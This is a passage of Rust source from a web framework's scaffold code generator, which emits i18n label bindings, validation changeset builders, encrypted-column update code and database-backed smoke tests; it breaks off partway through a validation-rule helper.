/// Emit the `let l_tr_… = …;` bindings `show_view` hands to
/// `TransitionLabels`, one group label per state-machine column plus one button
/// label per DISTINCT target state (issue #2227). Empty without `--i18n`.
///
/// Per distinct target state, not per edge. Two edges that end at the same
/// state share one button. A key per edge would define a translation the view
/// never reads.
///
/// The keys are per model, per field, and per state, unlike the rich-text
/// chrome. A state token such as `published` reads differently beside each
/// column it belongs to, so one shared key could not serve them all.
///
/// The button labels are built in `l_tr_{field}_texts`, and
/// `l_tr_{field}_buttons` borrows from it. `TransitionLabels` borrows too, so
/// a `t!(locale, …)` temporary built directly in the array would drop before
/// the view uses it.
fn render_show_transition_label_binds(
sm_fields: &[&Field],
snake_name: &str,
labels: &scaffold_i18n::ViewLabels,
) -> String {
use std::fmt::Write as _;
if !labels.enabled() {
return String::new();
}
let mut out = String::new();
for f in sm_fields {
let field = &f.name;
let Some(sm) = f.state_machine.as_ref() else {
continue;
};
let mut targets: Vec<&str> = Vec::new();
for edge in &sm.transitions {
if !targets.contains(&edge.to.as_str()) {
targets.push(edge.to.as_str());
}
}
let _ = writeln!(
out,
" let l_tr_{field}_group = {};",
labels.lit(
&format!("{snake_name}.field.{field}.transitions"),
&format!("{field} transitions")
)
);
let mut texts = String::new();
let mut buttons = String::new();
for (index, to) in targets.iter().enumerate() {
let _ = write!(
texts,
"\n {},",
labels.lit(
&format!("{snake_name}.field.{field}.transition.{to}"),
&format!("Mark as {to}")
)
);
let _ = write!(
buttons,
"\n (\"{to}\", l_tr_{field}_texts[{index}].as_str()),"
);
}
let _ = writeln!(out, " let l_tr_{field}_texts = [{texts}\n ];");
let _ = writeln!(out, " let l_tr_{field}_buttons = [{buttons}\n ];");
let _ = writeln!(
out,
" let l_tr_{field}_labels = autumn_web::widgets::TransitionLabels::new()\n \
.group(&l_tr_{field}_group)\n \
.buttons(&l_tr_{field}_buttons);"
);
}
out
}
/// Emit the `let {name}_label: String = …;` bindings the `show` handler
/// evaluates before building its `props`, one per `references` field with a
/// resolved display column (issue #1146). Each does a single per-view lookup
/// of the parent's display value (the batched variant is out of scope, #835),
/// falling back to the id string if the parent row (or its display value) is
/// missing. Empty when the resource has no displayable references.
fn render_show_reference_label_loads(
fields: &[Field],
reference_displays: &BTreeMap<String, ReferenceDisplay>,
) -> String {
use std::fmt::Write as _;
let mut out = String::new();
for f in fields {
let Some(display) = reference_displays.get(&f.name) else {
continue;
};
let Some(table) = f.reference_table() else {
continue;
};
let name = &f.name;
let column = &display.column;
// A nullable display column comes back as `Option<String>` and is
// flattened; a non-null one as `String`. Both coalesce to the id on a
// miss so the show page never renders a bare blank for a real FK.
let found_expr = if display.column_nullable {
format!(
"{table}::table.find(fk).select({table}::{column}).first::<Option<String>>(&mut *db).await.ok().flatten().unwrap_or_else(|| fk.to_string())"
)
} else {
format!(
"{table}::table.find(fk).select({table}::{column}).first::<String>(&mut *db).await.unwrap_or_else(|_| fk.to_string())"
)
};
if f.nullable {
let _ = writeln!(
out,
" let {name}_label: String = match row.{name} {{ Some(fk) => {found_expr}, None => \"—\".to_string() }};"
);
} else {
let _ = writeln!(
out,
" let {name}_label: String = {{ let fk = row.{name}; {found_expr} }};"
);
}
}
out
}
/// Emit the `let {name}_labels: HashMap<String, String> = …;` bindings the
/// plain (non-sharded) `index` handler evaluates before building its data-table
/// columns, one per `references` field with a resolved display column
/// (issue #1146, batched per #835). Unlike the in-FORM `<select>`, which
/// needs every possible parent row, the index only ever displays the parent
/// label for the page's own rows — so this queries just the FK ids present
/// in `page_data.content` (`WHERE id = ANY(...)`, at most one page's worth of
/// ids) instead of reusing the form's `{name}_select_options` loader, which
/// scans the WHOLE referenced table on every index view regardless of page
/// size. Empty when the resource has no displayable references.
fn render_index_reference_label_loads(
reference_fields: &[&Field],
reference_displays: &BTreeMap<String, ReferenceDisplay>,
) -> String {
use std::fmt::Write as _;
let mut out = String::new();
for f in reference_fields {
let Some(display) = reference_displays.get(&f.name) else {
continue;
};
let Some(table) = f.reference_table() else {
continue;
};
let name = &f.name;
let column = &display.column;
let (load_ty, label_expr) = if display.column_nullable {
("Option<String>", "label.unwrap_or_else(|| id.to_string())")
} else {
("String", "label")
};
let ids_expr = if f.nullable {
format!("page_data.content.iter().filter_map(|row| row.{name}).collect()")
} else {
format!("page_data.content.iter().map(|row| row.{name}).collect()")
};
let _ = writeln!(
out,
" let {name}_ids: Vec<i64> = {ids_expr};\n \
let {name}_labels: std::collections::HashMap<String, String> = {table}::table\n \
.filter({table}::id.eq_any({name}_ids))\n \
.select(({table}::id, {table}::{column}))\n \
.load::<(i64, {load_ty})>(&mut *db)\n \
.await?\n \
.into_iter()\n \
.map(|(id, label)| (id.to_string(), {label_expr}))\n \
.collect();"
);
}
out
}
/// Humanize a `snake_case` field name: capitalize only the first word.
///
/// `created_at` → `"Created at"`, `user_name` → `"User name"`.
/// Matches the humanization convention used in Phoenix / Rails form labels.
fn humanize(s: &str) -> String {
let replaced = s.replace('_', " ");
let mut chars = replaced.chars();
chars.next().map_or_else(String::new, |c| {
c.to_uppercase().to_string() + chars.as_str()
})
}
/// Convert `snake_case` field name to `Title Case` header label.
fn title_case(s: &str) -> String {
s.split('_')
.map(|word| {
let mut chars = word.chars();
chars.next().map_or_else(String::new, |c| {
c.to_uppercase().to_string() + chars.as_str()
})
})
.collect::<Vec<_>>()
.join(" ")
}
/// The error code the `validator` crate reports for one `#[validate(…)]` rule,
/// or `None` when the rule carries its own `message` (issue #2227).
///
/// The code is the rule's own name — the token before any `(`. So `email` gives
/// `email` and `length(min = 5)` gives `length`, which is what `e.code` holds at
/// runtime.
///
/// A rule with an explicit `message` never reaches the resolver: autumn-web
/// keeps that message. An arm for it would define a key nothing ever reads, and
/// a translator would work on text the app never shows.
fn validator_code_for_rule(rule: &str) -> Option<&str> {
if rule.replace(' ', "").contains("message=") {
return None;
}
let code = rule.split('(').next().unwrap_or(rule).trim();
(!code.is_empty()).then_some(code)
}
/// The expression `create`/`update` build their changeset from (issue #2227).
///
/// Without `--i18n` this is the plain `form.into_changeset()`, so the output is
/// unchanged. With it, the handler passes a resolver with one arm per
/// `(field, code)` pair the model's rules can produce. Each arm looks the
/// message up in the bundle.
///
/// The English default is the EXACT text autumn-web renders today
/// (`validation failed: <code>`), so an `en` app reads the same either way. A
/// translator can still improve the wording in their own locale file.
fn render_changeset_build(
snake_name: &str,
fields: &[Field],
validations: &BTreeMap<String, Vec<String>>,
labels: &scaffold_i18n::ViewLabels,
) -> String {
use std::fmt::Write as _;
const PLAIN: &str = "form.into_changeset()";
if !labels.enabled() {
return PLAIN.to_owned();
}
let mut arms = String::new();
for f in fields {
let name = &f.name;
let mut codes: Vec<&str> = Vec::new();
// A constrained required numeric carries an implicit `required` rule
// that `render_model_form` writes, so it is absent from `validations`.
if is_constrained_required_numeric(f) {
codes.push("required");
}
for rule in validations.get(name).into_iter().flatten() {
if let Some(code) = validator_code_for_rule(rule)
&& !codes.contains(&code)
{
codes.push(code);
}
}
for code in codes {
let _ = write!(
arms,
"\n (\"{name}\", \"{code}\") => Some({}),",
labels.lit(
&format!("{snake_name}.field.{name}.error.{code}"),
&format!("validation failed: {code}")
)
);
}
}
// A model with no rule has nothing to resolve. An empty match would also
// leave both closure parameters unused, which the generated crate warns on.
if arms.is_empty() {
return PLAIN.to_owned();
}
format!(
"form.into_changeset_with(|field, code| match (field, code) {{{arms}\n _ => None,\n }})"
)
}
/// Whether `f`'s Rust type implements `Copy`, restricted to the primitive
/// kinds this generator is certain are `Copy` regardless of nullability
/// (`Option<T>` is `Copy` whenever `T` is). Used only to decide whether
/// [`render_update_columns`] needs a `.clone()` to move a field out of a
/// shared `&New{Model}` reference — deliberately conservative: every other
/// `FieldKind` (`String`, `Uuid`, `Decimal`, …) keeps its `.clone()` even
/// where the underlying type happens to also be `Copy`, since verifying that
/// per-kind is not this helper's job.
const fn is_copy_field_kind(f: &Field) -> bool {
matches!(
f.kind,
FieldKind::Bool | FieldKind::I32 | FieldKind::I64 | FieldKind::F32 | FieldKind::F64
)
}
/// A required numeric carrying a `{min,max}` range (issue #1388) that is
/// represented as `Option<T>` on the form struct (issue #1748). Extracted so
/// both the struct/`into_new` emission in [`render_model_form`] and the
/// empty-pair drop set in [`render_nullable_field_match`] agree on which fields
/// are the synthetic Options.
const fn is_constrained_required_numeric(f: &Field) -> bool {
!f.nullable
&& matches!(
f.kind,
FieldKind::I32 | FieldKind::I64 | FieldKind::F32 | FieldKind::F64
)
&& (f.constraints.min.is_some() || f.constraints.max.is_some())
}
/// Render the body of the generated `is_nullable_form_field` helper — the set
/// of fields whose empty `field=` pair the decoder drops so it deserializes as
/// missing (`None`) rather than being handed to `serde_urlencoded` as `""`.
///
/// This includes the genuinely nullable fields AND the synthetic
/// constrained-required-`Option<T>` numerics (issue #1748): those are
/// `Option<T>` on the form struct but have `nullable == false`, so without this
/// a blank `age=` pair (from curl, a non-browser client, or disabled JS) would
/// reach `serde_urlencoded`, which parses `""` into the inner numeric and
/// returns a **400** *before* `#[validate(required)]` can render the intended
/// **422** inline error. Dropping the empty pair makes the field decode as
/// `None`, so `required` fires and produces the 422 (the #1748 intent).
fn render_nullable_field_match(fields: &[Field]) -> String {
let names = fields
.iter()
.filter(|field| field.nullable || is_constrained_required_numeric(field))
.map(|field| format!("\"{}\"", field.name))
.collect::<Vec<_>>();
if names.is_empty() {
"false".to_owned()
} else {
format!("matches!(name, {})", names.join(" | "))
}
}
/// Render the column-update tuple body for the `update` handler. Emits
/// `tablename::field.eq(form.field.clone()), …` per user field, leaving the
/// auto-managed `id` and `created_at` columns alone. With no user fields the
/// body is empty (Diesel accepts `set(())` as a no-op update).
///
/// ⚡ Bolt optimization: Avoids intermediate `Vec` allocations during string formatting
/// by pre-allocating capacity and utilizing `std::fmt::Write` sequentially.
fn render_update_columns(plural: &str, fields: &[Field]) -> String {
use std::fmt::Write;
// Estimate 50 chars per field
let mut out = String::with_capacity(fields.len() * 50);
// Issue #1326: a `:states(…)` state-machine column is transition-only — it is
// mutated exclusively through the dedicated `POST /{plural}/{{id}}/transitions/
// {field}` handler (a direct `diesel::update(...).set({field}.eq(new_state))`),
// never the ordinary update path. Excluding it from the update `.set((…))`
// tuple (and, in `render_form_for_helper`, from the edit form) stops a plain
// `POST /{plural}/{{id}}/update` from setting `status=<anything>` and bypassing
// `transition_{field}_to` / its guards. A model with no state-machine field
// emits the exact pre-#1326 column set.
for (i, f) in fields
.iter()
.filter(|f| f.state_machine.is_none())
.enumerate()
{
if i > 0 {
out.push_str(", ");
}
// Issue #1340: this `.set((…))` tuple is a RAW diesel write — it does
// not go through `New{Model}`/`Update{Model}`, so it never sees the
// `#[diesel(serialize_as = …)]` wrapper the `#[model]` macro attaches to
// an `#[encrypted]` field. Binding the bare `String` here would store
// PLAINTEXT in a column the reader then tries to decrypt: a silent leak
// of exactly the data the annotation exists to protect, plus a
// `MalformedEnvelope` error on the very next read. Bind through the same
// wrapper type instead, so the update path encrypts identically to the
// insert path.
match f.encrypted_mode() {
Some(mode) => write!(
out,
"{plural}::{name}.eq(autumn_web::encryption::{wrapper}::from(new.{name}.clone()))",
name = f.name,
wrapper = encryption_wrapper_type(mode),
),
None if is_copy_field_kind(f) => {
// `clippy::clone_on_copy`: `new` is only ever a shared
// reference here, but a `Copy` field (`bool`, `i32`, …) can be
// read out of it directly — `.clone()` would just be a
// same-cost copy through a different name.
write!(out, "{plural}::{name}.eq(new.{name})", name = f.name)
}
None => write!(
out,
"{plural}::{name}.eq(new.{name}.clone())",
name = f.name
),
}
.unwrap();
}
out
}
/// How the generated raw-diesel insert passes the `New{Model}` record to
/// `.values(…)` — `&new` normally, `new` (owned) once any column is
/// `{encrypted}` (issue #1340).
///
/// `#[diesel(serialize_as = …)]`, which the `#[model]` macro attaches to every
/// `#[encrypted]` field, *consumes* the field on the way to SQL, so diesel
/// implements `Insertable<table>` for the owned `New{Model}` only — never for
/// `&New{Model}`. Borrowing would fail to compile the generated app with
/// "the trait bound `&NewX: Insertable<table>` is not satisfied". The macro's
/// own factory and bulk-upsert codegen already pass owned records for exactly
/// this reason.
///
/// The borrowed form is kept for every other scaffold so unencrypted output
/// stays byte-for-byte identical; `new` is not read after the insert on either
/// path, so the move is always sound.
fn insert_record_expr(fields: &[Field]) -> &'static str {
if fields.iter().any(Field::is_encrypted) {
"new"
} else {
"&new"
}
}
/// The `autumn_web::encryption` diesel wrapper type that encrypts a column in
/// `mode` on the way to the database (issue #1340).
///
/// Mirrors `autumn-macros`' `encrypted_wrapper_path`, which is what the
/// `#[model]` macro splices into `#[diesel(serialize_as = …)]` — the raw-diesel
/// update path has to name the same type by hand to encrypt identically.
const fn encryption_wrapper_type(mode: EncryptedMode) -> &'static str {
match mode {
EncryptedMode::Randomized => "RandomizedText",
EncryptedMode::Deterministic => "DeterministicText",
}
}
/// Render one `db.execute_sql("...").await;` call per statement in `sql`,
/// escaping the SQL text so it survives as a Rust string literal in the
/// generated test.
///
/// Postgres's extended query protocol -- which `diesel::sql_query` uses --
/// rejects a single prepared statement that contains more than one SQL
/// command, so a migration's `CREATE TABLE` followed by one or more
/// `CREATE INDEX` statements must be executed one at a time. Reuses
/// [`crate::migrate::safety::split_statements`] (dollar-quote- and
/// comment-aware) rather than a naive `;`-terminated-line splitter, so it
/// stays correct if a future `--default` value embeds a semicolon.
fn render_execute_sql_calls(sql: &str) -> String {
let mut out = String::new();
for statement in crate::migrate::safety::split_statements(sql) {
let escaped = escape_sql_for_rust_literal(&statement);
let _ = writeln!(out, "db.execute_sql(\"{escaped};\").await;");
}
out
}
/// Escape a raw SQL string so it survives verbatim as a Rust string literal
/// (`"..."`) in generated test code — used both for the `db.execute_sql(...)`
/// setup calls above and for the raw `diesel::sql_query(...)` issued by the
/// enum out-of-set rejection smoke test (see `enum_rejection_insert_sql`).
fn escape_sql_for_rust_literal(sql: &str) -> String {
sql.replace('\\', "\\\\").replace('"', "\\\"")
}
/// The database name the generated smoke test names in its doc comments.
const fn smoke_db_label(backend: DatabaseBackend) -> &'static str {
match backend {
DatabaseBackend::Postgres => "Postgres",
DatabaseBackend::Sqlite => "SQLite",
}
}
/// The `#[ignore]` line (with its newline) for a database-backed smoke test.
///
/// Postgres needs Docker, so those tests are opt-in. `SQLite` needs only a
/// temp file, so its tests run in a plain `cargo test`.
const fn smoke_ignore_attr(backend: DatabaseBackend) -> &'static str {
match backend {
DatabaseBackend::Postgres => {
"#[ignore = \"requires Docker (testcontainers) via TestDb; run `cargo test -- --ignored`\"]\n"
}
DatabaseBackend::Sqlite => "",
}
}
/// The doc lines that tell the reader how to run the smoke test.
const fn smoke_run_note(backend: DatabaseBackend) -> &'static str {
match backend {
DatabaseBackend::Postgres => {
"//! `cargo test` reports this test as `ignored` (Docker is not assumed to\n\
//! be available in every environment); run it for real with:\n\
//!\n\
//! cargo test -- --ignored\n"
}
DatabaseBackend::Sqlite => {
"//! The test uses a temp-file `SQLite` database, so a plain run covers it:\n\
//!\n\
//! cargo test\n"
}
}
}
/// The `TestDb` constructor a generated smoke test calls.
///
/// Postgres shares one container per binary, because a container is slow to
/// start. `SQLite` makes a new temp-file database per test, because that is
/// cheap and it keeps parallel tests apart.
const fn smoke_db_ctor(backend: DatabaseBackend) -> &'static str {
match backend {
DatabaseBackend::Postgres => "shared",
DatabaseBackend::Sqlite => "new",
}
}
/// The statement that empties the table under test.
///
/// Postgres keeps its `TRUNCATE`. `SQLite` has none, so it calls `reset_table`.
fn smoke_reset_call(backend: DatabaseBackend, plural: &str) -> String {
match backend {
DatabaseBackend::Postgres => {
format!("db.execute_sql(\"TRUNCATE {plural} RESTART IDENTITY\").await;")
}
DatabaseBackend::Sqlite => format!("db.reset_table(\"{plural}\").await;"),
}
}
/// The SQL expression that casts the `id` column to text.
const fn smoke_id_to_text(backend: DatabaseBackend) -> &'static str {
match backend {
DatabaseBackend::Postgres => "id::text",
DatabaseBackend::Sqlite => "CAST(id AS TEXT)",
}
}
/// Render the `tests/<snake>.rs` smoke test's HTML (non-`--api`) shape: an
/// in-process, real-database read of the scaffolded index route.
///
/// The handler under test is a stand-in for `routes::{plural}::index` rather
/// than a literal re-export of it. A freshly scaffolded project is a binary
/// crate (no `src/lib.rs`), so a `tests/*.rs` integration binary cannot import
/// the project's own handler functions -- see
/// `docs/guide/tutorial/11-testing.md`, which documents this exact
/// constraint and the same "redeclare the handler under test" workaround.
fn render_index_smoke_test(
backend: DatabaseBackend,
pascal_name: &str,
plural: &str,
id_schema_type: &str,
setup_calls: &str,
) -> String {
let reset_call = smoke_reset_call(backend, plural);
let db_ctor = smoke_db_ctor(backend);
let db_label = smoke_db_label(backend);
let ignore_attr = smoke_ignore_attr(backend);
let run_note = smoke_run_note(backend);
format!(
"//! Smoke test generated by `autumn generate scaffold`.\n\
//!\n\
//! Boots a stand-in for the scaffolded `GET /{plural}` route in-process\n\
//! via `autumn_web::test::{{TestApp, TestClient, TestDb}}` and asserts a\n\
//! real response against a real (throwaway) {db_label} database -- no\n\
//! running server, no hard-coded server base URL env var, no silent skip.\n\
//!\n\
//! The handler below is NOT the generated `routes::{plural}::index`\n\
//! handler: a `tests/` integration binary cannot import a project's own\n\
//! code when the project has no `src/lib.rs` (see\n\
//! `docs/guide/tutorial/11-testing.md`), so this test redeclares a\n\
//! minimal handler that runs the same kind of query against the same\n\
//! table instead. That proves the database, migration, and in-process\n\
//! request pipeline all work -- it does NOT exercise the real handler's\n\
//! pagination, `data_table` rendering, CSRF, or flash-message logic. For\n\
//! coverage of that, add unit tests inside `src/routes/{plural}.rs`\n\
//! itself (it's part of the binary crate, so it can call the real code).\n\
//!\n\
{run_note}\
\n\
use autumn_web::prelude::*;\n\
use autumn_web::test::{{TestApp, TestClient, TestDb}};\n\
use diesel::prelude::*;\n\
use diesel_async::RunQueryDsl;\n\
\n\
diesel::table! {{\n\
{plural} (id) {{\n\
id -> {id_schema_type},\n\
}}\n\
}}\n\
\n\
#[get(\"/{plural}\")]\n\
async fn index(mut db: Db) -> AutumnResult<Markup> {{\n\
let total: i64 = {plural}::table.count().get_result(&mut db).await?;\n\
Ok(html! {{\n\
h1 {{ \"{pascal_name}s\" }}\n\
p {{ (total) \" row(s)\" }}\n\
}})\n\
}}\n\
\n\
#[tokio::test]\n\
{ignore_attr}\
async fn {plural}_index_renders_scaffolded_rows() {{\n\
let db = TestDb::{db_ctor}().await;\n\
{setup_calls}\
{reset_call}\n\
\n\
let client: TestClient = TestApp::new().routes(routes![index]).with_db(db.pool()).build();\n\
\n\
client.get(\"/{plural}\").send().await\n\
.assert_ok()\n\
.assert_body_contains(\"{pascal_name}s\");\n\
}}\n"
)
}
/// Render the `tests/<snake>.rs` smoke test's `--api` shape: an in-process,
/// real-database read of the scaffolded JSON list route.
///
/// See [`render_index_smoke_test`] for why the handler under test is a
/// stand-in rather than a literal re-export of the generated
/// `{snake}_api_list` repository handler.
fn render_api_smoke_test(
backend: DatabaseBackend,
plural: &str,
id_schema_type: &str,
setup_calls: &str,
fields: &[Field],
defaults: &BTreeMap<String, String>,
) -> String {
let reset_call = smoke_reset_call(backend, plural);
let db_ctor = smoke_db_ctor(backend);
let db_label = smoke_db_label(backend);
let ignore_attr = smoke_ignore_attr(backend);
let run_note = smoke_run_note(backend);
let id_to_text = smoke_id_to_text(backend);
// Route the seed through `render_execute_sql_calls` so a multi-statement
// seed (the no-required-column branch emits one `INSERT ... DEFAULT VALUES`
// per row) becomes one `db.execute_sql(...)` call apiece -- diesel-async's
// `execute` uses the extended protocol, which rejects several `;`-separated
// statements in a single call. The single-statement required-column branch
// is unaffected (it renders exactly one call).
let seed_calls =
render_execute_sql_calls(&render_api_seed_sql(backend, plural, fields, defaults));
format!(
"//! Smoke test generated by `autumn generate scaffold --api`.\n\
//!\n\
//! Boots a stand-in for the scaffolded `GET /api/{plural}` route\n\
//! in-process via `autumn_web::test::{{TestApp, TestClient, TestDb}}`\n\
//! and asserts a real response against a real (throwaway) {db_label}\n\
//! database -- no running server, no hard-coded server base URL env\n\
//! var, no silent skip.\n\
//!\n\
//! The handler below is NOT the generated repository's JSON list\n\
//! handler: a `tests/` integration binary cannot import a project's own\n\
//! code when the project has no `src/lib.rs` (see\n\
//! `docs/guide/tutorial/11-testing.md`). It reuses the same shipped\n\
//! `PageRequest` extractor + `Page` envelope the real generated\n\
//! `--api` list handler paginates with (issue #1237), so it proves the\n\
//! self-describing envelope shape and that pages advance -- but it does\n\
//! NOT exercise the real repository handler's serialization or filtering.\n\
//!\n\
{run_note}\
\n\
use autumn_web::prelude::*;\n\
use autumn_web::test::{{TestApp, TestClient, TestDb}};\n\
use diesel::prelude::*;\n\
use diesel::dsl::sql;\n\
use diesel::sql_types::Text;\n\
use diesel_async::RunQueryDsl;\n\
\n\
diesel::table! {{\n\
{plural} (id) {{\n\
id -> {id_schema_type},\n\
}}\n\
}}\n\
\n\
// Stand-in that paginates by default, exactly like the generated\n\
// `--api` list handler: a bounded `LIMIT/OFFSET` window wrapped in the\n\
// `Page` envelope, never an unbounded `find_all()`.\n\
#[get(\"/api/{plural}\")]\n\
async fn api_list(page: PageRequest, mut db: Db) -> AutumnResult<Page<String>> {{\n\
let total: i64 = {plural}::table.count().get_result(&mut db).await?;\n\
let ids: Vec<String> = {plural}::table\n\
.select(sql::<Text>(\"{id_to_text}\"))\n\
.order({plural}::id.asc())\n\
.limit(page.limit())\n\
.offset(page.offset())\n\
.load(&mut db)\n\
.await?;\n\
Ok(Page::new(ids, total, &page))\n\
}}\n\
\n\
#[tokio::test]\n\
{ignore_attr}\
async fn {plural}_api_list_paginates_against_a_real_database() {{\n\
let db = TestDb::{db_ctor}().await;\n\
{setup_calls}\
{reset_call}\n\
// Seed 25 rows -- more than one page at size = 2, and more than the\n\
// default page size (20). Every required (NOT NULL, no DEFAULT) column\n\
// gets a valid, per-row-varying sample value, so this works for an\n\
// ordinary scaffold with required fields -- not just an all-default\n\
// table a bare `INSERT ... DEFAULT VALUES` could satisfy.\n\
{seed_calls}\
\n\
let client: TestClient = TestApp::new().routes(routes![api_list]).with_db(db.pool()).build();\n\
\n\
// Page 1 returns the self-describing `Page` envelope, bounded to `size`.\n\
let page1: serde_json::Value = client\n\
.get(\"/api/{plural}?page=1&size=2\")\n\
.send()\n\
.await\n\
.assert_ok()\n\
.json();\n\
assert_eq!(page1[\"page\"], 1);\n\
assert_eq!(page1[\"size\"], 2);\n\
assert_eq!(page1[\"total_elements\"], 25);\n\
assert_eq!(page1[\"total_pages\"], 13);\n\
assert_eq!(page1[\"has_next\"], true);\n\
assert_eq!(page1[\"content\"].as_array().map(Vec::len), Some(2));\n\
\n\
// Page 2 holds different rows -- pagination actually advances.\n\
let page2: serde_json::Value = client\n\
.get(\"/api/{plural}?page=2&size=2\")\n\
.send()\n\
.await\n\
.assert_ok()\n\
.json();\n\
assert_ne!(page1[\"content\"], page2[\"content\"], \"page 2 must differ from page 1\");\n\
}}\n"
)
}
/// Emit `CREATE TABLE IF NOT EXISTS <target> (id BIGSERIAL PRIMARY KEY);` for
/// every distinct table a `references` field points at.
///
/// `TestDb::shared()` starts one Postgres testcontainer per `tests/*.rs`
/// binary (a process-global `OnceLock`), so a scaffold's own smoke test can't
/// assume some *other* scaffolded resource's smoke test already created the
/// referenced table — `CREATE TABLE comments (... REFERENCES posts(id) ...)`
/// would otherwise fail with "relation posts does not exist" whenever
/// `Comment` is scaffolded without also scaffolding `Post` in the same run.
/// A minimal stand-in table (just the `id` column the FK constraint checks
/// against) is enough to satisfy Postgres without duplicating the target's
/// full schema.
///
/// Skips `own_table` — a self-referential `references` field (e.g. a
/// `Category` model with a `category:references` field) targets the model's
/// own table, which is about to be created for real by the very next
/// statement. Postgres allows a self-referential FK within the same
/// `CREATE TABLE`, so no stub is needed there; emitting one anyway would
/// collide with the real (non-`IF NOT EXISTS`) `CREATE TABLE` that follows.
fn render_reference_stub_tables_sql(
backend: DatabaseBackend,
fields: &[Field],
own_table: &str,
) -> String {
let mut out = String::new();
let mut seen = BTreeSet::new();
for f in fields {
if let Some(target) = f.reference_table()
&& target != own_table
&& seen.insert(target.clone())
{
let _ = writeln!(
out,
"CREATE TABLE IF NOT EXISTS {target} (id {});",
IdType::BigSerial.pk_sql_for(backend)
);
// Seed two rows — ids 1 and 2, since BIGSERIAL starts there — so a NOT
// NULL `references` column pointing at this stub has a real id to
// reference. Without at least one row, any raw INSERT the smoke test
// issues against the table under test, such as the enum out-of-set
// rejection test's deliberately invalid INSERT (see
// `enum_rejection_insert_sql`), would fail on this FK constraint
// whatever column it was exercising, masking the real assertion behind
// an unrelated failure. The second row exists for
// `unique_sample_literal_variant`: a non-target `unique references`
// column in `unique_violation_insert_sql`'s duplicate insert needs a
// second real id, distinct from the target's own value, or it would
// collide with itself across the two inserts the way the target column
// is meant to.
let _ = writeln!(
out,
"INSERT INTO {target} DEFAULT VALUES;\nINSERT INTO {target} DEFAULT VALUES;"
);
}
}
out
}
/// Render the `tests/<snake>.rs` smoke test.
///
/// Delegates to [`render_index_smoke_test`] or [`render_api_smoke_test`]
/// depending on `api`, after computing the exact `CREATE TABLE`/`CREATE
/// INDEX` SQL the generated migration also emits (see
/// [`create_table_sql_with_metadata_and_id_for`]), so the throwaway table the
/// test creates in `TestDb` matches the real schema. Any `references` field
/// also gets a stub target table created first — see
/// [`render_reference_stub_tables_sql`].
#[allow(clippy::too_many_arguments)]
// Each bool is one independently-gated generated test section, all of them
// already computed by the caller — folding them into an options struct would
// move the same flags one level out without removing a single call-site
// decision.
#[allow(clippy::fn_params_excessive_bools)]
fn render_smoke_test(
backend: DatabaseBackend,
pascal_name: &str,
plural: &str,
api: bool,
fields: &[Field],
id_type: IdType,
indexes: &BTreeSet<String>,
defaults: &BTreeMap<String, String>,
validations: &BTreeMap<String, Vec<String>>,
authorize: bool,
bulk_delete: bool,
) -> String {
let stub_tables_sql = render_reference_stub_tables_sql(backend, fields, plural);
let create_table_sql = create_table_sql_with_metadata_and_id_for(
backend, plural, fields, indexes, defaults, id_type,
);
let mut setup_calls = render_execute_sql_calls(&stub_tables_sql);
setup_calls.push_str(&render_execute_sql_calls(&create_table_sql));
let id_schema_type = id_type.schema_type_for(backend);
let base = if api {
render_api_smoke_test(
backend,
plural,
id_schema_type,
&setup_calls,
fields,
defaults,
)
} else {
render_index_smoke_test(backend, pascal_name, plural, id_schema_type, &setup_calls)
};
let base = if fields.iter().any(Field::is_enum) {
base + &render_enum_rejection_smoke_test(
backend,
plural,
fields,
defaults,
&setup_calls,
api,
)
} else {
base
};
let unique_fields: Vec<&Field> = fields.iter().filter(|f| f.unique).collect();
let base = if unique_fields.is_empty() {
base
} else {
base + &render_unique_violation_smoke_test(
backend,
plural,
fields,
&unique_fields,
defaults,
&setup_calls,
api,
)
};
// Issue #1124: prove the changeset round-trip on a real request — a
// rejected submission gets 422 with the other field preserved and an
// inline error, not a 400 dead-end. HTML scaffolds only; the `--api` JSON
// path is out of scope (Problem Details already covers it, issue #598).
let base = if !api && !validations.is_empty() {
base + &render_validation_rejection_smoke_test(plural, validations)
} else {
base
};
// Issue #1127: exercise the full write path (create / update / delete +
// validation-failure re-render) in-process. HTML scaffolds only — the
// `--api` JSON resource tests are out of scope (folded into issue #1028).
// Always emitted for HTML scaffolds (even without declared `--validate`
// rules): the stand-in carries its own validated field, so a bare
// `generate scaffold Post` still gets create/update/delete coverage.
let base = if api {
base
} else {
base + &render_write_path_smoke_test(pascal_name, plural, bulk_delete)
};
// Issue #1318 (AC6): a scaffold that opted into optimistic locking gets a
// dedicated stale-write test — the one behavior a reader would otherwise
// have to take on trust, and the one a later refactor is most likely to
// silently drop.
let base = if !api && super::model::lock_version_field(fields).is_some() {
base + &render_optimistic_lock_smoke_test(plural)
} else {
base
};
// Issue #1236 (AC6): attachment scaffolds additionally get a multipart
// write-path test that drives a zero-JS `multipart/form-data` create through
// the real `Multipart` extractor, streams the uploaded file to a real
// `LocalBlobStore`, persists the returned `Blob` in a real Postgres row, and
// asserts the persisted attachment column bound a non-empty blob key.
let base = if !api && has_attachment_fields(fields) {
base + &render_attachment_multipart_write_path_smoke_test(pascal_name, plural, fields)
} else {
base
};
// Issue #1125 (AC4/AC6): when the scaffold authorizes its mutating handlers
// (owner column, standard path), also emit a cross-user 403 demonstration.
if authorize {
base + &render_cross_user_forbidden_smoke_test(plural)
} else {
base
}
}
/// A value that violates a `--validate` rule string (as rendered by
/// `model::render_validation_attr`, e.g. `"length(min = 1, max = 200)"`,
/// `"url"`, `"email"`) — used to build the deliberately-rejected submission in
/// [`render_validation_rejection_smoke_test`].
///
/// Returns `None` when the rule accepts *every* string, including blank — a
/// `length` rule with no `max` and either no `min` or `min = 0` (e.g.
/// `--validate title=length:min=0`) is a no-op that nothing can violate. The
/// caller must fall back to a different validated field rather than submit a
/// value that the real server would happily accept and assert a 422 anyway.
fn invalid_value_violating_rule(rule: &str) -> Option<String> {
if rule == "url" {
return Some("not a valid url".to_owned());
}
if rule == "email" {
return Some("not-an-email".to_owned());
}
if let Some(args) = rule
.strip_prefix("length(")
.and_then(|s| s.strip_suffix(')'))
{
let mut min: Option<u64> = None;
let mut max: Option<u64> = None;
for part in args.split(',') {
let part = part.trim();
if let Some(n) = part.strip_prefix("min = ") {
min = n.trim().parse().ok();
} else if let Some(n) = part.strip_prefix("max = ") {
max = n.trim().parse().ok();
}
}
return match (min, max) {
// A `min` bound is violated by submitting nothing at all.
(Some(min), _) if min > 0 => Some(String::new()),
// A `max`-only bound is violated by exceeding it by one character
// — a fixed-size literal (e.g. 1000 `x`s) would itself satisfy a
// looser `max` (say 2000), silently turning the "invalid"
// submission valid and failing the smoke test's own 422 premise.
